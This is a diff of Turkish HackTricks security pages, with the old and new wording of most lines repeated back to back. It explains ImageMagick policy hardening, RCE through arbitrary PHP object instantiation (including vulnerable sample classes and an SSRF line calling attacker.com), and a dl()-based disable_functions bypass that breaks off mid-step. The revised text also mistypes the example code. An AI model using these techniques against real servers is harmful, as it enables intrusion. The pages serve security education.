Daha fazla ayrıntıyı [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) adresinde kontrol edin.
ImageMagick, çok yönlü bir görüntü işleme kütüphanesi, geniş seçenekleri ve detaylı çevrimiçi belgelendirmenin eksikliği nedeniyle güvenlik politikasını yapılandırmada bir zorluk sunar. Kullanıcılar genellikle parçalanmış internet kaynaklarına dayalı politikalar oluştururlar, bu da potansiyel yanlış yapılandırmalara yol açar. Kütüphane, 100'den fazla görüntü formatını destekler ve her biri tarihsel güvenlik olayları tarafından gösterilen karmaşıklık ve zayıflık profiline katkıda bulunur.
ImageMagick, çok yönlü bir görüntü işleme kütüphanesi olarak, geniş seçenekleri ve ayrıntılı çevrimiçi belgelerin eksikliği nedeniyle güvenlik politikasını yapılandırmada zorluklar sunmaktadır. Kullanıcılar genellikle parçalı internet kaynaklarına dayanarak politikalar oluşturur, bu da potansiyel yanlış yapılandırmalara yol açar. Kütüphane, her biri karmaşıklığı ve güvenlik açığı profilini artıran 100'den fazla görüntü formatını desteklemektedir; bu, tarihsel güvenlik olaylarıyla gösterilmiştir.
## Daha Güvenli Politikalar İçin
Bu zorlukları ele almak için, ImageMagick'in güvenlik politikalarının tasarlanmasına ve denetlenmesine yardımcı olmak için bir [araç geliştirilmiştir](https://imagemagick-secevaluator.doyensec.com/). Bu araç, kapsamlı araştırmalara dayanmaktadır ve politikaların sadece sağlam değil, aynı zamanda istismar edilebilecek açıklar içermeyen şekilde olmasını amaçlamaktadır.
## Daha Güvenli Politikalara Doğru
Bu zorlukları ele almak için, ImageMagick'in güvenlik politikalarını tasarlamaya ve denetlemeye yardımcı olmak amacıyla [bir araç geliştirilmiştir](https://imagemagick-secevaluator.doyensec.com/). Bu araç, kapsamlı araştırmalara dayanmaktadır ve politikaların yalnızca sağlam değil, aynı zamanda istismar edilebilecek boşluklardan da arındırılmış olmasını sağlamayı hedeflemektedir.
## Allowlist vs Denylist Yaklaşımı
Tarihsel olarak, ImageMagick politikaları, belirli kodlayıcılara erişimin reddedildiği bir denylist yaklaşımına dayanıyordu. Ancak, ImageMagick 6.9.7-7'deki değişiklikler bu paradigmayı değiştirdi ve bir allowlist yaklaşımını mümkün kıldı. Bu yaklaşım önce tüm kodlayıcılara erişimi reddeder ve daha sonra güvenilir olanlara seçici olarak erişim izni vererek güvenlik durumunu artırır.
## İzin Listesi vs. Yasak Listesi Yaklaşımı
Tarihsel olarak, ImageMagick politikaları, belirli kodlayıcıların erişiminin reddedildiği bir yasak listesi yaklaşımına dayanıyordu. Ancak, ImageMagick 6.9.7-7'deki değişiklikler bu paradigmayı değiştirdi ve bir izin listesi yaklaşımını mümkün kıldı. Bu yaklaşım, önce tüm kodlayıcıların erişimini reddeder ve ardından güvenilir olanlara seçici olarak erişim izni vererek güvenlik duruşunu artırır.
```xml
...
<policy domain="coder" rights="none" pattern="*" />
<policy domain="coder" rights="read | write" pattern="{GIF,JPEG,PNG,WEBP}" />
...
```
## Politikalardaki Büyük-Küçük Harf Duyarlılığı
ImageMagick'teki politika desenlerinin büyük-küçük harf duyarlı olduğunu unutmamak önemlidir. Bu nedenle, kodlayıcıların ve modüllerin politikalarda doğru bir şekilde büyük harfle yazıldığından emin olmak, istenmeyen izinlerin önlenmesi için hayati öneme sahiptir.
## Politikalardaki Büyük/Küçük Harf Duyarlılığı
ImageMagick'teki politika desenlerinin büyük/küçük harf duyarlı olduğunu belirtmek önemlidir. Bu nedenle, kodlayıcıların ve modüllerin politikalar içinde doğru bir şekilde büyük harfle yazıldığından emin olmak, istenmeyen izinleri önlemek için hayati öneme sahiptir.
## Kaynak Sınırları
ImageMagick, doğru bir şekilde yapılandırılmazsa hizmet reddi saldırılarına karşı hassastır. Politikada açık kaynak sınırlarını belirlemek, bu tür zayıflıkların önlenmesi için önemlidir.
ImageMagick, düzgün yapılandırılmadığında hizmet reddi saldırılarına karşı hassastır. Politika içinde açık kaynak sınırları belirlemek, bu tür zayıflıkları önlemek için gereklidir.
## Politika Parçalanması
Politikalar, farklı ImageMagick kurulumları arasında parçalanabilir ve potansiyel çakışmalara veya geçersiz kılmalara neden olabilir. Etkin politika dosyalarını bulmak ve doğrulamak için aşağıdaki gibi komutları kullanmak önerilir:
Politikalar, farklı ImageMagick kurulumları arasında parçalanmış olabilir ve bu da potansiyel çakışmalara veya geçersiz kılmalara yol açabilir. Aktif politika dosyalarını bulmak ve doğrulamak için şu komutlar gibi komutlar kullanılması önerilir:
```shell
$ find / -iname policy.xml
```
## Başlangıç, Kısıtlayıcı Politika
Kısıtlayıcı bir politika şablonu önerilmiştir ve sıkı kaynak sınırlamaları ve erişim kontrollerine odaklanmaktadır. Bu şablon, belirli uygulama gereksinimleriyle uyumlu özelleştirilmiş politikalar geliştirmek için bir temel olarak hizmet vermektedir.
Kısıtlayıcı bir politika şablonu, sıkı kaynak sınırlamaları ve erişim kontrollerine odaklanarak önerilmiştir. Bu şablon, belirli uygulama gereksinimleriyle uyumlu özel politikaların geliştirilmesi için bir temel olarak hizmet eder.
Bir güvenlik politikasının etkinliği, ImageMagick'te `identify -list policy` komutunu kullanarak doğrulanabilir. Ayrıca, daha önce bahsedilen [değerlendirici araç](https://imagemagick-secevaluator.doyensec.com/), bireysel ihtiyaçlara dayalı olarak politikayı iyileştirmek için kullanılabilir.
Bir güvenlik politikasının etkinliği, ImageMagick'te `identify -list policy` komutu kullanılarak doğrulanabilir. Ayrıca, daha önce bahsedilen [değerlendirme aracı](https://imagemagick-secevaluator.doyensec.com/), politikayı bireysel ihtiyaçlara göre geliştirmek için kullanılabilir.
## Referanslar
* [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# PHP - Nesne oluşturma kötüye kullanımı: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE nesne oluşturma istismar: new $\_GET\["a"]\($\_GET\["b"])
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Bu temel olarak [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) adresindeki bir özetidir.
Bu, [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) adresinin temel bir özetidir.
## Giriş
`new $_GET["a"]($_GET["b"])` gibi yeni keyfi nesnelerin oluşturulması, Uzaktan Kod Yürütme (RCE) ile sonuçlanabilir. Bu, [**bir yazıda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) detaylı olarak açıklanmıştır. Bu belge, RCE elde etmek için çeşitli stratejileri vurgular.
`new $_GET["a"]($_GET["a"])` gibi yeni keyfi nesnelerin oluşturulması, [**yazıda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) detaylandırıldığı gibi Uzaktan Kod Yürütme (RCE) ile sonuçlanabilir. Bu belge, RCE elde etmenin çeşitli stratejilerini vurgulamaktadır.
## Özel Sınıflar veya Otomatik Yükleme ile RCE
`new $a($b)` sözdizimi, bir nesnenin oluşturulması için kullanılır, burada **`$a`** sınıf adını temsil eder ve **`$b`** yapıcıya iletilen ilk argümandır. Bu değişkenler, GET/POST gibi kullanıcı girişlerinden veya JSON'dan alınabilir, burada dize veya dizi olabilirler veya diğer türler olarak sunulabilirler.
`new $a($b)` sözdizimi, **`$a`** sınıf adını ve **`$b`** yapıcıya geçirilen ilk argümanı temsil eden bir nesne oluşturmak için kullanılır. Bu değişkenler, GET/POST gibi kullanıcı girdilerinden, string veya dizi olarak veya JSON'dan, diğer türler olarak elde edilebilir.
Aşağıdaki kod örneğini düşünün:
Aşağıdaki kod parçasını düşünün:
```php
class App {
function __construct ($cmd) {
@ -43,9 +44,9 @@ $b = $_GET['b'];
new $a($b);
```
Bu durumda, `$a`'yı `App` veya `App2` olarak ayarlamak ve `$b`'yi bir sistem komutu (örneğin, `uname -a`) olarak ayarlamak, o komutun çalıştırılmasına neden olur.
Bu durumda, `$a`'yı `App` veya `App2` olarak ve `$b`'yi bir sistem komutu (örneğin, `uname -a`) olarak ayarlamak, o komutun çalıştırılmasına neden olur.
**Otomatik yükleme işlevleri**, doğrudan erişilebilen sınıflar yoksa istismar edilebilir. Bu işlevler, ihtiyaç duyulduğunda sınıfları dosyalardan otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır:
**Otomatik yükleme fonksiyonları**, doğrudan erişilebilen böyle sınıflar yoksa istismar edilebilir. Bu fonksiyonlar, ihtiyaç duyulduğunda dosyalardan sınıfları otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -57,64 +58,65 @@ include $class_name . '.php';
spl_autoload_register();
```
Autoloading davranışı, PHP sürümlerine göre değişir ve farklı RCE olanakları sunar.
Autoloading'in davranışı PHP sürümlerine göre değişiklik gösterir ve farklı RCE olasılıkları sunar.
## Yerleşik Sınıflar Aracılığıyla RCE
## Yerleşik Sınıflar ile RCE
Özel sınıflar veya otomatik yükleyiciler olmadığında, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı, PHP sürümüne ve uzantılara bağlı olarak 100 ila 200 arasında değişir. Bunlar `get_declared_classes()` kullanılarak listelenebilir.
Özel sınıflar veya autoloader'lar eksik olduğunda, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve uzantılara bağlı olarak 100 ile 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler.
İlgili yapıcılar, aşağıdaki örnekte ve [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) bağlantısında gösterildiği gibi yansıtma API'si aracılığıyla belirlenebilir.
İlgili yapıcılar, aşağıdaki örnekte ve [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) bağlantısında gösterildiği gibi, yansıma API'si aracılığıyla tanımlanabilir.
**Belirli yöntemler aracılığıyla RCE şunları içerir:**
### **SSRF + Phar Deserialization**
`SplFileObject` sınıfı, yapıcısı aracılığıyla SSRF'yi etkinleştirir ve herhangi bir URL'ye bağlantı yapılmasına izin verir:
`SplFileObject` sınıfı, yapıcısı aracılığıyla SSRF'yi etkinleştirir ve herhangi bir URL'ye bağlantılara izin verir:
```php
new SplFileObject('http://attacker.com/');
```
SSRF, PHP'nin 8.0 öncesi sürümlerinde Phar protokolünü kullanarak deserializasyon saldırılarına yol açabilir.
SSRF, Phar protokolünü kullanan PHP'nin 8.0'dan önceki sürümlerinde deserialization saldırılarına yol açabilir.
### **PDO'ları Sömürmek**
PDO sınıfının yapıcı fonksiyonu, DSN dizeleri aracılığıyla veritabanlarına bağlantı sağlar ve potansiyel olarak dosya oluşturma veya diğer etkileşimleri mümkün kılar:
PDO sınıfı yapıcı fonksiyonu, DSN dizeleri aracılığıyla veritabanlarına bağlantılara izin verir, bu da dosya oluşturma veya diğer etkileşimleri mümkün kılabilir:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
PHP'nin 5.3.22 ve 5.4.12 sürümlerine kadar olan versiyonları, `SoapClient` ve `SimpleXMLElement` yapılandırıcıları aracılığıyla XXE saldırılarına açıktı, ancak libxml2 sürümüne bağlı olarak değişiyordu.
PHP'nin 5.3.22 ve 5.4.12 sürümleri, libxml2 sürümüne bağlı olarak `SoapClient` ve `SimpleXMLElement` yapıcıları aracılığıyla XXE saldırılarına karşı savunmasızdı.
## Imagick Uzantısı Aracılığıyla RCE
## RCE via Imagick Extension
Bir **projenin bağımlılıklarının** analizi sırasında, **Imagick**'in yeni nesnelerin oluşturulmasıyla **komut yürütme** için kullanılabileceği keşfedildi. Bu, zafiyetlerin sömürülmesi için bir fırsat sunar.
**Projenin bağımlılıkları** analizi sırasında, **Imagick**'in yeni nesne örnekleri oluşturarak **komut yürütme** için kullanılabileceği keşfedildi. Bu, güvenlik açıklarından yararlanma fırsatı sunar.
### VID ayrıştırıcısı
### VID parser
VID ayrıştırıcısının, dosya sisteminde belirtilen herhangi bir yola içerik yazabilme yeteneği belirlendi. Bu, bir PHP kabuğunun web erişimine açık bir dizine yerleştirilmesine ve Uzaktan Kod Yürütme (RCE) elde edilmesine yol açabilir.
Dosya sisteminde belirtilen herhangi bir yola içerik yazma yeteneğine sahip VID parser'ın varlığı tespit edildi. Bu, web erişilebilir bir dizine bir PHP shell yerleştirilmesine yol açabilir ve Uzak Kod Yürütme (RCE) sağlanabilir.
#### VID Ayrıştırıcısı + Dosya Yükleme
#### VID Parser + Dosya Yükleme
PHP'nin geçici olarak yüklenen dosyaları `/tmp/phpXXXXXX` dizininde depoladığı belirtilmektedir. Imagick'teki VID ayrıştırıcısı, **msl** protokolünü kullanarak dosya yollarında joker karakterlerini işleyebilir ve geçici dosyanın istenen konuma transferini kolaylaştırır. Bu yöntem, dosya sistemi içinde keyfi dosya yazma işlemini gerçekleştirmek için ek bir yaklaşım sunar.
PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` dizininde sakladığı belirtilmiştir. Imagick'teki VID parser, **msl** protokolünü kullanarak dosya yollarında joker karakterleri işleyebilir ve geçici dosyayı seçilen bir konuma taşıyabilir. Bu yöntem, dosya sisteminde keyfi dosya yazma elde etmek için ek bir yaklaşım sunar.
### PHP Çökertme + Kaba Kuvvet
### PHP Çökmesi + Kaba Kuvvet
[**Orijinal yazıda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) açıklanan bir yöntem, silinmeden önce sunucuyu çökerten dosyaların yüklenmesini içerir. Geçici dosyanın adını kaba kuvvetle tahmin ederek, Imagick'in keyfi PHP kodunu yürütmesi mümkün hale gelir. Ancak, bu teknik yalnızca eski bir ImageMagick sürümünde etkili bulundu.
[**orijinal yazımda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) tanımlanan bir yöntem, silinmeden önce bir sunucu çökmesine neden olan dosyaların yüklenmesini içerir. Geçici dosyanın adını kaba kuvvetle tahmin ederek, Imagick'in keyfi PHP kodu yürütmesi mümkün hale gelir. Ancak, bu tekniğin yalnızca eski bir ImageMagick sürümünde etkili olduğu bulunmuştur.
## Referanslar
## References
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,57 +1,58 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Önemli not:**
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`** PHP uzantılarını yüklemek için kullanılan bir PHP işlevdir. İşlev devre dışı bırakılmamışsa, **`disable_functions`'ı atlamak ve keyfi komutlar çalıştırmak** için kötüye kullanılabilir.\
**`dl`** PHP uzantılarını yüklemek için kullanılabilen bir PHP fonksiyonudur. Eğer bu fonksiyon devre dışı bırakılmamışsa, **`disable_functions` bypass etmek ve keyfi komutlar çalıştırmak için kötüye kullanılabilir**.\
Ancak, bazı katı sınırlamaları vardır:
* `dl` işlevi **çevrede mevcut** ve **devre dışı bırakılmamış** olmalıdır.
* PHP uzantısı, sunucunun kullandığı **aynı ana sürümle** (PHP API sürümü) derlenmiş olmalıdır (bu bilgiyi phpinfo çıktısında görebilirsiniz).
* PHP uzantısı, **`extension_dir`** yönergesi tarafından **tanımlanan dizinde** bulunmalıdır (bu bilgiyi phpinfo çıktısında görebilirsiniz). Sunucuyu kötüye kullanmaya çalışan bir saldırganın bu dizine yazma erişimi olması çok olası olmadığından, bu gereklilik muhtemelen bu teknikten yararlanmanızı engelleyecektir.
* `dl` fonksiyonu **mevcut** olmalı ve **devre dışı bırakılmamalıdır**
* PHP uzantısı, sunucunun kullandığı **aynı ana sürümle** (PHP API sürümü) derlenmiş olmalıdır (bu bilgiyi phpinfo çıktısında görebilirsiniz)
* PHP uzantısı, **`extension_dir`** direktifi ile **tanımlanan** dizinde **bulunmalıdır** (bunu phpinfo çıktısında görebilirsiniz). Bir saldırganın bu dizinde yazma erişimine sahip olması çok olası değildir, bu nedenle bu gereklilik muhtemelen bu tekniği kötüye kullanmanızı engelleyecektir.
**Bu gereksinimleri karşılıyorsanız, disable\_functions'ı atlamayı öğrenmek için** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **bağlantısındaki gönderiyi okumaya devam edin**. İşte bir özet:
**Bu gereklilikleri karşılıyorsanız, `disable_functions` bypass etmeyi öğrenmek için yazıyı okumaya devam edin** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/). İşte bir özet:
[dl işlevi](http://www.php.net/manual/en/function.dl.php), betik yürütme sırasında PHP uzantılarını dinamik olarak yüklemek için kullanılır. C/C++ ile genellikle yazılan PHP uzantıları, PHP'nin işlevselliğini geliştirir. Saldırgan, `dl` işlevinin devre dışı bırakılmadığını fark ettikten sonra, sistem komutlarını çalıştırmak için özel bir PHP uzantısı oluşturmaya karar verir.
[dl fonksiyonu](http://www.php.net/manual/en/function.dl.php), script çalıştırma sırasında PHP uzantılarını dinamik olarak yüklemek için kullanılır. Genellikle C/C++ ile yazılan PHP uzantıları, PHP'nin işlevselliğini artırır. Saldırgan, `dl` fonksiyonunun devre dışı bırakılmadığını fark ettiğinde, sistem komutlarını çalıştırmak için özel bir PHP uzantısı oluşturmayı karar verir.
### Saldırgan Tarafından İzlenen Adımlar:
### Saldırganın Aldığı Adımlar:
1. **PHP Sürümünün Belirlenmesi:**
- Saldırgan, bir betik (`<?php echo 'PHP Sürümü: '.PHP_VERSION; ?>`) kullanarak PHP sürümünü belirler.
1. **PHP Sürüm Belirleme:**
- Saldırgan, bir script kullanarak PHP sürümünü belirler (`<?php echo 'PHP Version is '.PHP_VERSION; ?>`).
2. **PHP Kaynak Kodunun Edinilmesi:**
- PHP kaynak kodunu resmi [PHP web sitesinden](http://www.php.net/downloads.php) veya [arşivden](http://museum.php.net) (eğer sürüm eskiyse) indirir.
2. **PHP Kaynağını Temin Etme:**
- Resmi [PHP web sitesinden](http://www.php.net/downloads.php) veya sürüm eskiyse [arşivden](http://museum.php.net) PHP kaynağını indirir.
3. **Yerel PHP Kurulumu:**
- Belirli PHP sürümünü kendi sistemine çıkarır ve kurar.
- Belirli PHP sürümünü sistemine çıkarır ve kurar.
4. **Uzantı Oluşturma:**
- [PHP uzantıları oluşturma](http://www.php.net/manual/en/zend.creating.php) konusunu inceler ve PHP kaynak kodunu inceler.
- `ext/standard/exec.c` konumunda bulunan [exec işlevinin](http://www.php.net/manual/en/function.exec.php) işlevselliğini çoğaltmaya odaklanır.
- [PHP uzantıları oluşturmayı](http://www.php.net/manual/en/zend.creating.php) inceler ve PHP kaynak kodunu gözden geçirir.
- `ext/standard/exec.c` dosyasındaki [exec fonksiyonunun](http://www.php.net/manual/en/function.exec.php) işlevselliğini çoğaltmaya odaklanır.
### Özel Uzantıyı Derleme Notları:
1. **ZEND_MODULE_API_NO:**
- `bypass.c` içindeki `ZEND_MODULE_API_NO`, mevcut Zend Extension Build ile eşleşmelidir. Bu bilgiyi aşağıdaki komutla alabilirsiniz:
- `bypass.c` içindeki `ZEND_MODULE_API_NO`, mevcut Zend Extension Build ile eşleşmelidir, bu bilgi şu komutla alınabilir:
```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
```
2. **PHP_FUNCTION Düzenlemesi:**
- Son PHP sürümleri (5, 7, 8) için `PHP_FUNCTION(bypass_exec)` düzenlemesi gerekebilir. Sağlanan kod parçacığı bu düzenlemeyi detaylandırır.
2. **PHP_FUNCTION Değişikliği:**
- Son PHP sürümleri (5, 7, 8) için `PHP_FUNCTION(bypass_exec)` ayarlanması gerekebilir. Sağlanan kod parçası bu değişikliği detaylandırır.
### Özel Uzantı Dosyaları:
@ -60,44 +61,48 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr
- **php_bypass.h**:
- Uzantı özelliklerini tanımlayan başlık dosyası.
- **config.m4**:
- Özel uzantı için yapılandırmayı `phpize` kullanarak yapılandırmak için kullanılır.
- Özel uzantının derleme ortamını yapılandırmak için `phpize` tarafından kullanılır.
### Uzantının Derlenmesi:
### Uzantıyı Derleme:
1. **Derleme Komutları:**
- Uzantının derlenmesi için `phpize`, `./configure` ve `make` kullanılır.
- Sonuç olarak oluşan `bypass.so` dosyası, modüller alt dizininde bulunur.
- Uzantıyı derlemek için `phpize`, `./configure` ve `make` kullanır.
- Ortaya çıkan `bypass.so`, modüller alt dizininde bulunur.
2. **Temizlik:**
- Derleme işleminden sonra `make clean` ve `phpize --clean` çalıştırılır.
- Derlemeden sonra `make clean` ve `phpize --clean` komutlarını çalıştırır.
### Kurban Sunucuda Yüklenmesi ve Yürütülmesi:
### Kurban Sunucusuna Yükleme ve Çalıştırma:
1. **Sürüm Uyumluluğu:**
- Saldırganın ve kurbanın sistemlerinde PHP API sürümlerinin eşleştiğinden emin olunur.
- Saldırganın ve kurbanın sistemleri arasında PHP API sürümlerinin eşleştiğinden emin olur.
2. **Uzantı Yüklenmesi:**
